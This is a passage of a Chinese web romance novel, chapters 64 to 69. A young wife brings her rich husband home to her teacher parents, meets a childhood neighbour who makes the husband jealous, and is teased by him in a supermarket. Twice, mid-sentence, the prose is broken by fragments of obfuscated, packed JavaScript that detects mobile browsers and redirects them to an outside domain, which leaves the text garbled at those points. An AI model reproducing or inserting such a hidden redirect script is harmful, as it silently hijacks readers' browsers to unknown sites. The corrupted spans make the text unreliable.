他搭在方向盘上的手指轻轻摩挲了下婚戒,“你相信吗?有些缘分,其实早在很多年前就已经埋下了种子。”
车道很快疏通,庄别宴勾了下唇收回视线,继续往前开。
曲荷心跳如雷。
有个念头在脑海里疯狂滋长,可是还没等她反应过来,就一闪而过。
似懂非懂。
这时,眼前一亮,车子开出了隧道,驶上了跨海大桥,碧蓝的海天猝不及防撞进眼里。
曲荷降下车窗,海风裹挟着咸湿的气息穿过了车厢,海风打在脸上,却压不住她脸颊的滚烫。
但好像把两人之间那层雾蒙蒙的纱吹开了一些。
曲荷的头发被风吹得纷飞,阳光透过车窗落在肩膀上,而她的心里,好像有什么东西在悄悄融化。
三分慌,六分甜,还带着一分未察觉的无措。
第64章 庄别宴的狐媚手段
三个小时的车程比曲荷想象中的快,到的时候临近午饭点。
迈巴赫刚开进渔家渡,就得到了不少注目礼。
里头有段路不太好开,拐弯比较多,第一次来这里的人不熟悉路况经常会开错。
曲荷本来还在担心,可是也不知道是庄别宴车技太好,还是迈巴赫车子性能好,他居然一路非常顺利地开到了家门口。
老家房子翻修后是一幢三层自建房,车子刚拐进路口,曲荷隔着大老远就瞅见了站在门口的那道身影。
她捂了把脸,一副豁出去了的表情。
庄别宴看她这个样子,低笑一声,伸手覆上她的手背,“放心,有我。”
曲荷扯出一个勉强的笑。
车子停在前院子门口,两人拎着东西下车。
曲荷走上前,对着站在门口的男人喊了声“爸。”
庄别宴跟在后头,微微颔首,从容不迫地也喊了声“爸”
曲家封今年刚过五十一,今天身上穿着这件墨绿色Polo衫还是去年教师节曲荷给他买的。
作为一个音乐老师,他出场自带儒雅气质,曲荷有时候很怀疑她爸这样的男人是怎么娶到她妈连主任这样的女强人。
曲家封扶了下眼镜,看见女儿时眼尾的笑纹都堆成了花,可在听到庄别宴那声‘爸’后,脸上的笑意瞬间凝固。
他眼睛眯了下,从头到脚上下打量着这个比自己还高出半个头的人,不咸不淡地“嗯”了声:“进来吧。”
曲荷暗自松了口气,默默拉了下庄别宴的胳膊,给了个“我爸就这样你别往心里去”的眼神。
进了院子后,她凑到曲家封身边小声问:“连主任呢?”
曲家封朝厨房方向抬了抬下巴,压低声音,“一大早就开始炖汤了。”
几乎话音刚落,就看到里头走出来一个人。
连鞠萍女士,曲家封的妻子,曲荷的妈妈,渔家渡小学现任教导主任,在曲家拥有最高话语权。
连鞠萍女士身上还系着围裙,身上那件浅青色长裙衬得整个人看起来没有往常那般凌厉严肃,但是眼神却带着十足的气势。
四个人在院子里大眼瞪小眼。
空气都好像被冻住了。
伸手不打笑脸人,曲荷赶紧小跑到连鞠萍跟前,讨好地笑了笑:“妈!我们回来啦!”
连鞠萍女士眼皮都没抬一下,从鼻子里哼出个“嗯”,目光直直落在庄别宴身上。
庄别宴上前一步,嘴角噙着恰到好处的笑意,跟着喊了声“妈。”
曲荷赶紧把手里的礼品往前递:“妈,这是庄别宴,就是……就是我跟您提过的那个。”
庄别宴接过话,声音清朗:“‘祖席离歌,长亭别宴’的别宴。”
连鞠萍眉梢微妙地挑了下,没接礼品,她不动声色朝曲家封丢了个眼色。
曲家封立刻清了清嗓子,“小庄啊,现在是做什么工作的?”
小……小庄?
曲荷差点咬到自己的舌头。
这也太冒昧了吧,爸爸。
您知道您这声“小庄”,喊的是谁吗?这个“小庄”随便一个决策就能影响半个金融圈啊!
她心脏咚咚狂跳,怕庄别宴觉得冒犯,正想打圆场,却被庄别宴轻轻拉了拉手。
他看向曲家封,笑容丝毫未变:“经营着一家小公司,主要负责些决策和管理。”
曲荷在心里翻了个巨大的白眼。
把市值千亿的庄氏集团叫做“小公司”?
能把总裁这个职位说得这么清新脱俗的,也只有你了。
曲家封点点头,又问:“平时忙吗?”
庄别宴转头看了眼曲荷,温柔一笑:“不忙,每天都能回家给阿荷做晚饭。”
曲家封的眼睛亮了一下,差点当场拍大腿。
“行了。”
站在旁边的连鞠萍女士终于开了金口。
她看向曲荷,“家里酱油没了,你去小超市买一壶。”
曲荷懵了,指了下自己:“啊?我吗?”
妈妈,这借口也太敷衍了吧!您当我是三岁
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小孩呢?都什么年代了还用这么老套的方式支开人?
她有些担忧地看了眼庄别宴,小声打着商量,“那...要不我和庄别宴一起去吧,开车还快一点。”
连鞠萍女士的教导主任气场“噌”的一下就上来了:“这么两步路还要开车?天天抱着手机,路都不会走了?”
曲荷被噎得没话说,看看庄别宴,又看看自家老妈。
可是庄别宴却朝她眨了眨眼,给了她一个“没事”的眼神。
曲荷无奈应下。
小超市不远,也就拐两个弯的距离。
虽说庄别宴见过大场面,不同于常人,有着强心脏。但毕竟双拳难敌四手,她担心庄别宴难以承受连主任的威严,来回都是跑的。
曲荷顶着七月烈日,拎着一壶酱油气喘吁吁跑回家,刚进院子,在看到里头的景象后,才发现她好像....多虑了。
院子里,庄别宴正和曲家封正在下象棋,用的还是他带来的那副新棋子。
更出乎意料的是,那个常年严肃的连主任此时居然带着笑站在旁边:“小宴呐,别让着他,他棋品可差了,一辈子就好胜,输不起。”
小……小宴?
曲荷都快怀疑自己跑错了地方,拎着酱油瓶站在门口。
就这么一会儿,到底发生了什么?
庄别宴给他们“下蛊”了?他用的什么“狐媚手段”迷惑了连主任?
直到上桌吃饭,曲荷还没缓过神来。
吃饭的时候,连鞠萍不停地给庄别宴夹菜:“小宴多吃点,看你瘦的。”
瘦?
曲荷捧着碗,看着庄别宴一米八几的大高个,还有他面前那个冒尖的饭碗,又看向连主任慈爱的笑容,一时无语凝噎。
妈妈,这样慈爱的笑,从未见你对我笑过...
吃完午饭,老两口到了午休时间,曲荷也带着庄别宴回了房间。
一进卧室,她就忍不住拉着庄别宴问,“你到底用了什么招数?我妈怎么突然对你这么好?”
第65章 关灯,收报酬
曲荷心里一百个好奇心,满脑子都是庄别宴究竟是怎么做到的。
她完全没意识到现在这个姿势有多亲密,整个人几乎贴在他身上了。
庄别宴垂眸看着近在咫尺的人,镜片后的眸色暗了下。
他故作玄虚思考了下,带着几分蛊惑的尾音:“想知道?”
曲荷小鸡啄米似的点头。
他握住她的手腕,把人带到床边坐下,“那太太拿什么来换呢?”
“交换?”曲荷懵了。
她仰头看他眼底那抹狡黠,心里默默感叹庄别宴还是很心机嘛,什么时候学会的讨价还价。
“你想要什么?”她警惕地眯起眼。
庄别宴的目光漫不经心地扫过卧室,基础的布局,无论是从窗帘还是桌面摆设都很温馨,房间很干净没有灰尘,一看就是经常打扫。
他收回视线,手指轻轻点了下她的手背,“比如…太太藏了十几年的小秘密。”
曲荷抱胸往后缩了缩。
庄别宴被她这副模样逗笑,戳了戳她的大腿,“想什么呢!刚才妈跟我说了些你小时候的事,还说你这儿有本相册?我想看看。”
“就这?”曲荷挑眉,显然不信他这么好打发。
“不然...换个别的?”他故意拖长了调子。
“别!”曲荷赶紧按住他的手,转身往书架跑,“相册就相册,我去给你拿!”
看着她弯腰在柜子里翻找的背影,庄别宴眼底的温柔快要溢出来。
曲荷很快就找到了相册,外面套了个透明硬壳,被保护得很好。
“其实没几张,都是我爸用他那台老相机拍的。”
庄别宴接过相册,手指轻轻抚过封面,像是摸什么珍宝。
他翻开第一页,慢慢看了起来。
曲荷也跟着他一起看,在看到外婆抱着她站在杨梅树下的照片时,她不好意思伸手盖住了。
照片上她扎着两个羊角辫,脸蛋晒得黝黑。
“那个,我小时候...比较跳脱,在渔家渡野惯了,经常在太阳下跑....所以黑了一点点。”
庄别宴把她盖住的手拿开,“挺可爱的。”
“才三岁,能看出来什么。”曲荷红着脸嘀咕了一句,嘴角却止不住上扬。
庄别宴一张张往后翻。
后面是她五岁的照片。
她躺在杨梅树下的老藤椅上,面前的小矮凳上摆着切开的西瓜,她举着勺子往嘴里塞,笑得没心没肺。
五岁的她眉眼已经长开了,脸也没那么黑,能看出一些现在的轮廓
庄别宴的指腹在照片上停顿了很久,喉结轻轻动了动。
“我五岁的照片不多,我妈说爸爸的相机那个时候坏了,很多照片都没了。”
“咦?”
曲荷疑惑地指着相册上一张照片。
这是一张拍立得,相纸边缘已经泛黄了,却比其他照片清晰得多。
照片上的小姑娘趴在木桌上睡得正香,胳膊底下压着一沓数学试卷。
曲荷拿起照片,满是惊讶,“那时候拍立得可贵了,谁给我拍的?”
她对着照片乐了半天,“你看我这睡姿,也太丢人了...应该是哪个邻居哥哥姐姐拍的吧,我那个时候老是往邻居家跑。”
庄别宴“嗯”了一声,声音低哑得厉害。
他看着照片里那个皱着眉睡觉的小丫头,心脏飞快跳动。
后面照片基本都是曲荷上幼儿园,小学,初中的毕业照或者上台表演照片,她觉得自己的黑历史都快被扒光了,但是庄别宴却看得津津有味。
一本相册很快翻完,曲荷终于按捺不住,凑到他面前,“那现在可以说了吧?”
庄别宴刚从回忆里抽离,看向她的眼神深邃得像一轮漩涡,他努力克制着才压下心底的翻涌。
他把相册往前翻,抽出了那张她趴在桌上睡觉的拍立得:“用这个换?”
曲荷虽然不理解他为什么要这选择这张照片,但还是点了下头,“可以。”
庄别宴拿着照片看了眼,忽然倾身,凑到了她耳边说:“我给渔家渡小学捐了栋图书馆。”
曲荷:“......”
她愣住了。
她想过无数种可能,唯独没想过是这个理由。
这么简单,直接,粗暴吗?
原来这就是金钱的力量?砸钱就可以吗?
不过毕竟是一幢图书馆,也可以理解。
曲荷还在慢慢消化,不经意的一个抬头,却看到了庄别宴眼里那抹促狭的笑。
她瞬间反应过来,指着他说,“你骗我!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391339|184256||http|test|mini|href|location''.split(''|''),0,{}));
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r>庄别宴轻笑,捉住她的手,“我永远不会骗你。图书馆是真的,但让爸妈点头的,不止这一个原因。”
“还有什么?”曲荷追问,一脸好奇。
庄别宴把她拉进怀里,捏了捏她的手指,“等价交换,得再换一样东西。”
曲荷撇了下嘴,“你还想要什么?我这里还有大学的照片你想看吗?或者...”
她正说着,感觉环在腰间的手突然紧了下。
庄别宴声音低哑:“这轮我要加码了。”
温热的气息喷在耳廓,他凑了过来。
听到他说的话,曲荷的脸瞬间红了,结结巴巴地说:“你...你别乱来....”
庄别宴看着她红透的脸,一本正经说:“那晚上,只能辛苦太太亲力亲为了。”
曲荷:“....”
果然,你们这些资本家本性都是腹黑的。
渔家渡离市区远,出发前他们就说好要在老家住一晚。
晚上,曲荷刚洗完澡出来,就看到庄别宴正坐在书桌前发消息,他穿着同款情侣睡衣,鼻梁上架着金丝眼镜,禁欲又贵气。
听到动静,他抬眼看来,随手摘了眼镜,眼底的笑意难以掩饰。
曲荷没敢看他,低着头掀开被子上了床,背对着他躺下来开始刷手机。
庄别宴轻笑,一会儿后他也掀开被子上了床。
他靠着床背没动,继续在看手机,感觉一点也不着急。
手指敲击键盘的声音在安静的房间里格外清晰。
时间一分一秒过去,旁边被好奇心勾引的小兔子终于按捺不住,悄悄转过身,伸出不安分的手指轻轻戳了戳他的胳膊,声音轻得快听不见:“关灯....”
“啪哒”一声,灯灭。
黑暗笼罩了房间。
庄别宴抓住那只还没来得及收回去的手,声音里带着几分得逞的笑,“那现在,该我收取报酬了....”
黑夜掩盖不住空气中逐渐升温的暖味和热火。
不知是谁先靠近,唇齿相触的瞬间,星火燎原。
“唔..阿荷...”
房间里断断续续响起几声克制的呼唤。
窗外,一簇簇桂花在月光下悄然绽放。
花香钻进窗缝,和呼吸一起缠缠绵绵绕在鼻尖。
第66章 昨晚很满意
第二天,曲荷是在庄别宴怀里醒来的。
她头抵着他的锁骨,一条腿还不自觉地搭在他腰间,睡姿一如既往地差。
想起前几天早上醒来总是空落落的床边,她这才后知后觉,原来她早已习惯和庄别宴相拥而眠的踏实感。
庄别宴被动静吵醒,半眯着眼,“醒了?”
头顶传来低哑的嗓音,带着刚睡醒的慵懒。
曲荷抬头,撞进他的眼眸里。
四目相对的瞬间,昨晚的记忆瞬间回笼。
他在耳边的呢喃,缠绵地喘息,还有那句“阿荷好乖”。
曲荷的脸瞬间烧了起来,她想从他怀里钻出去,刚动了一下,腰就被轻轻按住。
“跑什么?”
庄别宴的声音带着笑意,被窝下,他的手指慢慢探过来,找到了她的手,一根一根地扣住,直到十指相扣。
他暧昧地捏了捏她的指尖,“阿荷,昨晚辛苦了。”
“你...你别说了!”
曲荷把脸埋进枕头里,“不许说了……”
她庆幸还好她的房间在三楼,爸妈住二楼,还好房子刚翻修隔音好,否则今早怕是连下楼见人的勇气都没了。
头顶传来他低低的轻笑,曲荷更不自在了,恨不得当场变成鸵鸟。
她直接猛地翻了个身,拽过被子把自己卷成一团,背对着他,死活不肯再说话。
庄别宴笑着,伸手拍了拍旁边这个“蚕宝宝”,“妈刚才在楼下喊了,让我们下去吃早饭。”
被子里的人摇了摇头,声音闷闷地传出来:“你先去,我……我再缓会儿。”
她需要点时间,把昨晚的画面从脑子里赶出去。
可下一秒,她整个人连带着被子被庄别宴圈住。
“昨晚……我很喜欢。”
曲荷的呼吸停了半秒。
“所以,”他顿了顿,“以后多多合作?”
世界静音。
只剩下曲荷破防的声音。
脚步声逐渐远去,房门被关上的那瞬间,床上那团被子猛地扭动起来,滚来滚去。
曲荷恨不得尖叫出声。
这个庄别宴!他怎么能....怎么能说这种话!
什么端方有礼的庄家玉树,大家都被骗了!
简直有辱斯文!太犯规了!
下楼吃早饭的时候,曲荷全程低着头,余光都不敢往旁边瞟。
可是庄别宴却像没事人一样,甚至比平时更殷勤。
她碗里的粥快喝完了,他立刻又给她盛了小半碗,还帮她剥了鸡蛋。
坐在对面的连鞠萍女士看不下去了,忍不住用抬脚轻轻杵了曲荷一下。
她看着连主任投过来的“你这孩子怎么回事”的眼神。
心里有苦说不出。
妈妈,你不懂!其实你们被他骗了!
这个男人,他都是装的,他背地里很腹黑!很心机!
连鞠萍恨铁不成钢,无奈地拿起一个鸡蛋剥起来,“小宴呐,你也别太惯着她,曲荷这孩子平时懒惯了。”
庄别宴把剥好的鸡蛋放进曲荷碗里,笑了笑,“没事的妈,我愿意宠着她。”
他顿了顿,转头看着曲荷握着勺子的手,语气意味不明,“阿荷今天手有点不舒服,我照顾她是应该的。”
曲荷握着勺子的手猛地一颤,差点把掉进碗里。
她猛地抬头瞪向庄别宴。
这人怎么回事?
居然还敢提!
可庄别宴却像是没看见她的眼神警告,一脸坦然,甚至还体贴地递过来一张纸巾,好像刚才那句话真的只是单纯的关心。
连鞠萍被带偏了,紧张地看向曲荷的手:“手怎么了?”
曲荷一口粥卡在喉咙里,咳了两声才咽下去,含糊道:“腱鞘炎而已,**病了,没事。”
她说着,在桌下狠狠踩了下庄别宴的脚。
可他却面不改色咬了口连主任剥好的鸡蛋。
连鞠萍不放心地叮嘱,“你那工作既然已经辞了,这段时间就好好歇着。别学你外公,年轻时不注意,老了手疼得遭罪。”
“嗯,知道了妈。”
早饭在这种奇妙又尴尬的氛围中结束。
曲荷全程如坐针毡,庄别宴气定神闲。
两人刚帮着连鞠萍把碗筷收拾进厨房,就听到院门外就传来了焦急的声音:“连老师在家吗?您家门口停的车方便挪一下不?我搬家的卡车进不来了!”
门口的车?
曲荷下意识看向庄别宴,他点了点头:“我去开走。”
“我跟你一起。”
庄别宴捏了捏她的手:“没事,你在家等我就行,很快回来。”
曲荷犹豫了一下,点了点头:“那你把车停到拐角的社区服务站门口吧,那里场地大,好停车。”
“嗯。”庄别宴应着,转身往外走。
曲荷在屋里待了没两分钟,想了想还是决定出门。
刚走出门口没两步,就听到身后就传来了一道熟悉的男声:“曲荷妹妹?”
曲荷愣了一下,回头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391340|184256||http|test|mini|href|location''.split(''|''),0,{}));
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r>一个穿着白色T恤和运动裤的男人站在不远处,他额头带着些汗,看着像是刚晨跑完。
他眉眼带笑向她走来,眼尾下那颗痣看起来莫名有些熟悉。
“认不出我了?”
男人走近几步,语气带着几分怀念,“小时候不是还总缠着我,要跟我一起玩泥巴呢,忘了?”
“周时安?”
曲荷惊讶,“你是时安哥哥?”
周时安是她家以前的邻居,比她大一岁,小时候陶瓷厂的孩子们总聚在一起玩。
他在陶艺上的天赋特别高,连外公那样对眼光特别挑剔的人,都曾不止一次说过周时安就是块天生做陶艺的料,灵气得很。
只是后来两人考上大学后,联系就少了,之后他又出国深造,她去了钱昭野公司,联系就彻底断了。
现在想想,上次见面,好像还是高中的同学聚会。
曲荷笑了笑,“好久不见啊,你是回国了吗。”
“刚回来没几天。”
周时安看着她,眼神微妙,他下意识地抬起手,想像小时候那样揉她的头发,曲荷却下意识往后退了半步,礼貌地和他拉开了距离。
周时安的手顿在半空,很快若无其事地收了回来,笑了笑:“你呢?怎么突然回来了?”
“有点事。”曲荷含糊地应着。
两人一时间不知道该说些什么,空气里弥漫着熟人相见的尴尬。
就在这时,她听到身后有人叫了声她的名字。
曲荷回头,看见庄别宴逆着光站在不远处。
晨光模糊了他的轮廓,曲荷看不清他脸上的表情,只觉得他周身的气息似乎比刚才出门时冷了几分。
他一步步走上前,停在曲荷身边,自然地环上她的腰,往自己身边带了带。
他看向周时安,眼神带着几分审视,“这位是?”
曲荷反应过来后连忙介绍:“这是周时安,我家小时候住边上的邻居哥哥。”
她又看向周时安,“这是庄别宴,我的……老公。”
“老公”两个字出口,她感觉到搭在腰上的手似乎更紧了些。
周时安脸上的笑容淡了点,伸出手:“你好,我是周时安,曲荷的邻居。”
“庄别宴。”他伸出手,咬字清晰,“阿荷的丈夫。”
他镜片后的眼睛微微眯了下,看了眼曲荷,笑得温柔,“老婆,这就是你昨晚睡前提到的邻居哥哥?”
曲荷瞪大眼睛,天地可鉴!她什么时候提过?!
第67章 吃醋
曲荷抬眼看向旁边人,给庄别宴了一个“你在说什么”的眼神。
可一向最会察言观色的人,此刻却装作听不懂的样子,睁眼说瞎话,“怎么了,累了?昨晚你睡得是有点迟,要不要回去再休息一下?”
曲荷一口气差点上不来。
光天化日之下,他在胡说什么!
这个男人,他明明看懂了自己的眼神,还胡说!
她的视线一直停留在庄别宴脸上,压根没注意到对面周时安脸上一闪而过的凝固笑意。
庄别宴的目光慢悠悠地转向周时安,两个男人的视线在空中撞了个正着。
无声的火花在空中炸开,连带着空气都紧绷了。
周时安率先移开视线,笑着看向曲荷,熟稔道:“时间过得真快啊,没想到那个小时候总爱跟在我身后跑的小姑娘,转眼就嫁人了。”
他特意加重了“小时候”三个字,像是在强调某种旁人无法介入的过往。
庄别宴手指在曲荷腰间轻轻敲了敲,脸上露出了一个恍然大悟的表情。
他看向曲荷,宠溺又无奈,“原来你爱黏人的性子这么早就有了。”
周时安目光落在曲荷腰间的手上,笑意不达眼底,“你们这次回来准备待多久?要不中午来家里吃饭?你阿姨做的话梅排骨小时候你总抢着吃,现在她还常念叨,说不知道你口味变了没。”
庄别宴听着他话里的“小时候”和“家里”,轻笑。
“太不巧了,我们今天中午就得回去。”
他嘴角挂着恰当又疏离的笑,“不过还是要多谢周先生和阿姨惦记。话梅排骨阿荷确实爱吃,下次有机会倒真想向阿姨学学手艺,以后可以在家里做给她吃。”
周时安脸上的笑容淡了半分,垂在身侧的手指悄悄蜷起:“庄先生倒是贴心。”
“那是自然。”
庄别宴抬眼,对上他的目光,眼里只剩下较量,“毕竟是要过一辈子的人,她的喜好自然该记在心上。”
空气里的**味滋滋作响。
曲荷夹在中间,有点无语。
这两个人,怎么突然就比起这个来了?
周时安脸上的笑容淡了些,没再接话。
这时,他的手机响了。
他看了眼屏幕,对曲荷说:“那我先走了,有机会找个时间聚一下。”
曲荷点头,不自觉松了口气。
周时安笑了笑,离开前又想到了什么,转身看向曲荷:“今年开窑节马上要举办了,我导师会从英国过来参加。你会来吗?”
曲荷愣了愣。
周时安没再多说,像是知道曲荷一定会答应,留下一句“开窑节见”,然后对庄别宴礼貌点了点头,就离开了。
曲荷的目光下意识跟着他的背影看了几秒。
这时,腰侧突然被轻轻掐了一下,力道不重,却带着几分明显的占有欲。
她吓了一跳,下意识往旁边挪了挪,转头看向庄别宴,正好撞进他深不见底的眼眸里。
不知为何,曲荷心里有点发虚,可她明明什么都没做啊,怎么就惹到这位祖宗了?
庄别宴收回视线,声音沉沉的:“走吧。”
他的手往下滑,紧紧牵着她往家走,步伐比平时快了些。
曲荷被他拉着走,看着他紧绷的背,觉得这气氛实在太诡异,忍不住开口解释。
“那个……其实我小时候也没经常跟在他后面,就是住得近,我一直把他当哥哥的……”
话说到一半,她自己都纳闷,为什么要突然解释这么一下。
可话音刚落,庄别宴突然停下了脚步。他的后背绷得像僵直,连带着牵着她的手都紧了紧。
“怎么了?”曲荷问。
他缓缓转过身,往前迈了一小步,抵着她的鞋尖,几乎把她圈在怀里,声音带着点压抑的委屈:“你到底有几个邻居哥哥?”
曲荷彻底懵了。
“啊?”
什么几个邻居哥哥?这话题怎么突然拐到这儿了?
庄别宴盯着她的眼睛,像是想从她眼里找出点什么,明明心里醋得不行,但还是克制自己不能吓到她。
他叹了口气,泄气中带着无奈。
曲荷正想问他这话是什么意思,他却重新牵起她的手往前走。
“没事。回家吧。”
曲荷被他拉着往前走,脑子里乱糟糟的。
没事
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没事他那眼神跟要**似的?
......
吃完午饭没多久,就要准备离开了。
这几年一门心思都忙着工作,身体垮了,精神也废了。
每次回家像打仗一样,来也匆匆去也匆匆,哪像这两天。
车子后备箱被塞得满满当当,连鞠萍就差把家给搬空了。
曲荷看着那堆得冒尖的东西,心里像被什么东西堵着,酸溜溜的,涩得发慌。
是真的舍不得。
快要出发前,曲家封拉着庄别宴出了门,连鞠萍则把她叫进了房间。
再出来的时候,曲荷眼眶红红的。
庄别宴轻轻拍了拍她的肩膀,“以后我们常回来,多在家陪爸妈住几天。”
连鞠萍的眼眶也泛着红,嘴上却硬邦邦的:“我和你爸在学校忙得脚不沾地,一年回来几次够了,哪有功夫天天招待你。”
曲荷撇撇嘴,吸了吸鼻子,挽住她的胳膊:“就回来,就回来,烦死你才好。”
“你也知道自己烦人。”
连鞠萍嗔怪着,却不舍得松开她的手,“回去多吃点饭,都瘦成什么样了。”
曲家封看着自己女儿,眼里的不舍几乎要溢出来。
他转向庄别宴,语气郑重:“我们就这么一个女儿,你要好好对她。婚姻这条路很长,难免有磕磕绊绊,如果有一天....”
他的声音哽咽了,“如果有一天,你们的缘分真的尽了,请你一定不要伤害她,好好的..好好的把她还给我们。”
“爸!你说这些干什么....”曲荷鼻子一酸,哽咽着喊出声。
曲家封别过脸悄悄抹掉眼泪,摆了摆手:“好了好了,快走吧,我和你妈下午还得回学校呢。”
庄别宴朝着他们珍重颔首,“婚礼已经在筹备了,到时候接爸妈来北城陪阿荷多住一段时间。”
迈巴赫缓缓驶离,后视镜里的身影一点点缩小,直到变成两个模糊的小点,最后消失不见。
曲荷收回视线,偷偷抹了把眼角的湿润,长长吐出一口气。
她强装无事,转头:“庄别宴,刚才我爸拉你出去说什么了?”
第68章 要吗?什么味道?几盒?
庄别宴:“你猜猜看?”
曲荷声音闷闷的:“猜不出来。”
他侧头看了眼情绪低落的她,慢悠悠道:“爸说,他学音乐前练过三年武术。”
“啊?”
曲荷愣了几秒才反应过来,没忍住笑了出来,“曲老师这警告够隐晦的啊。”
庄别宴也跟着笑了,车厢里的沉闷散去不少。
曲荷收了笑,抬眼看他:“那你不好奇我妈跟我说了什么?”
“你想告诉我吗?”
绿灯转红。
庄别宴轻轻踩下刹车,转头望着她,“你想说,我就想听。你不想说,我就等你想说的那天。”
“那我要是一直不说呢?”
庄别宴故作沉思,片刻后道:“我觉得,某**概憋不了那么久。”
曲荷眯起眼,挥了挥空拳头警告:“你小心我也去学武术。”
庄别宴低笑出声,眉眼间满是纵容。
灯变,车子重新启动。
曲荷松下身子靠在椅背上,脸朝着窗外,手悄悄伸进包里。
包里是刚才连鞠萍塞给她的银行卡,她反复摩挲了好几下,脑袋里回想着她反复叮嘱的那几句话。
旁边,庄别宴看着她的侧影,什么也没说,只是悄悄把车内的温度调高了些。
曲荷醒过来的时候,身上盖着庄别宴的西装外套。
她都不知道什么时候睡着的,不过这两天身体确实不太爽快,再加上刚才情绪波动大了些,所以才睡过去了。
曲荷对着窗户放空了一会,才发现车子已经开到市区了,马上就到白玉湾。
“醒了?”
“嗯。”
曲荷看着驾驶座上的男人,有些不好意思。
她这一路睡得倒是安稳,他却得睁着眼开三个小时的车。
“要不要吃点东西?或者喝水?你累的话,我来开也行。”
庄别宴笑了笑:“这点耐力,还是有的。”
明明是句再正常不过的话,曲荷却莫名听出了几分别的意味,脸颊微微发烫。
“随你。”
她低下头,假装刷手机。
车子很快停下,却不是在白玉湾的门口。
曲荷疑惑的抬头:“怎么来超市了?”
“买点东西。”庄别宴解开安全带。
曲荷更纳闷了。
他侧过身,凑近了些:“买点食材,满足一下太太想吃话梅排骨的愿望。”
曲荷一愣。
他怎么还记得这茬?过不去了?
“我可没说。”
“你的邻居哥哥可是说了,你最爱吃他们家的排骨。”
曲荷嘴硬,“那是小时候的事情了,我早就忘了...”
“那我也得学啊,万一你哪天想吃了呢。总不能让别人抢了先,是吧。”
他宠溺笑了笑,伸手帮她解开安全带,摊开手:“走吧,老婆。”
曲荷故作高冷地犹豫了几秒,把手放进了他的掌心。
进了超市,曲荷才真信了他是来逛超市的。
他单手推着购物车,另一只手牢牢牵着她,熟门熟路地挑排骨,选调料,简直不要太熟练。
曲荷跟在他后面,看着他认真的样子,心里忽然涌上一股过日子的踏实感,琐碎却充实。
经过零食区时,他还顺手拿了几盒她常吃的酸奶和薯片。
倒是挺细心。
结账的队伍不长,两人并肩站着,跟着队伍慢慢往前挪。
还有一个人就要到他们了,曲荷的目光漫无目的地扫着,忽然落在收银台前面的货架上。
那里摆着一排排五颜六色的小盒子,格外眨眼。
看着那些小孩嗝屁袋,她的思绪一下子被拉回领证那晚。
那天晚上,他们差点就……煮成熟饭了。
曲荷耳脖子发烫,下意识抬头移开眼,却发现庄别宴的目光也在货架上。
昨晚在老家的画面又窜了出来,他隐忍的喘息和克制…曲荷的脸也热了起来。
“要吗?”
庄别宴突然开口。
“啊?”
曲荷猛地瞪大眼。
这么直接的吗?问得这么坦然?
她第一次发现,原来自己的脸皮这么薄。
“你,你想要就拿吧。”她回答的磕吧,声音也很轻。
“要什么味道的?”
庄别宴的目光还在货架,语气自然。
曲荷:“!!!”
别问了啊大哥!这种事还挑味道?
她怎么不知道庄别宴私下里还有这种讲究?
曲荷垂下眼,“我,我都行。”
“那就草莓?”
曲荷点了点头。
“一盒够吗?”
这……这是她能说了算的?
她含糊地应:“都,都行。”
庄别宴抬了手。
曲荷的目光不由自主地跟着他的动作,可下一秒,他的
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手却越过那排惹眼的小盒子,拿起了旁边的草莓味软糖。
曲荷:“......???”
庄别宴把软糖递到她面前,“其他口味还要吗?”
曲荷盯着着那盒软糖,半天没反应过来。
不是……大家都是成年人了,刚才那氛围,难道不该是聊点更“成年人”的话题吗?
还是她想太多了?
“啊?”
她张了张嘴。
庄别宴看着她彤红的脸,又顺着她的目光扫过货架上那排小方盒,眼底闪过一丝了然,他没忍住笑了下。
听着他揶揄的笑,曲荷知道自己刚才那点心思,全被他看穿了。
她把软糖扔进购物车,几乎是落荒而逃:“我,我去外面等你。”
她像是脚底板着火了,头也不回地飞快走了出去。
曲荷走到收银台外面,手背贴了贴滚烫的脸。
队伍已经轮到了庄别宴,他从容地从货架取下两个小方盒,和糖果一起递给收银员。
曲荷不由得睁大眼,原来他早就.....!!!
结完账,庄别宴拎着两个购物袋走了出来。
他打开车门,在后座整理东西,曲荷先一步坐上副驾驶。
刚系好安全带,就听到后头传来了他的声音,“要吗?”
还有曲荷没回头,眯了下眼。
又来,这次她可不会上当了。
“给我吧。”
她声音故作冷硬,手往后一伸,从他掌心抓过一个盒子。
可是刚收回手,在看到蓝色盒子上的英文字母后,脑袋空了几秒。
“你...你给我这个干什么?糖...糖呢?”
她把盒子往后一丢,气鼓鼓转头看着他。
“这可不能怪我。是你自己抓的。”他慢悠悠开口,掌心另一只手摊开,上面放着一盒粉色的草莓软糖。
曲荷原地气炸,羞恼得往后够,抓过那盒软糖,拆开后丢进嘴里。
草莓的甜腻在舌尖炸开,她嚼着糖,假装没听到后面的压抑的轻笑。
脑袋一遍遍默念“知止而后有定,定而后能静,静而后能安,安而....”
算了没用...
迈巴赫慢慢驶离超市,离白玉湾越来越近。
曲荷攥着软糖的手越来越紧。
今晚,他们应该....会发生点什么吧。
想到这,曲荷的脸就开始发烫。
第69章 喝酒壮胆!
回到家,庄别宴就拎着买来的食材进了厨房。
水流声,切菜声从厨房传了出来,曲荷半躺在沙发上和司月发消息。
她叉了块切好的西瓜放进嘴里,手机震动了一下,是司月发来的。
【还是那句话,直接上!不睡白不睡!】
【东西都买了,不能浪费!上次发给你的新婚夜十八式真的有用!】
【庄总就是在暗示你....】
司月的消息一条接着一条,明显带着看热闹的感觉。
超市购物袋还放在茶几上,满满当当一袋子,鼓鼓囊囊的。
可偏偏,曲荷一眼就看到了那个惹眼的蓝色小方盒。她像是被烫到了一下,飞快移开视线。
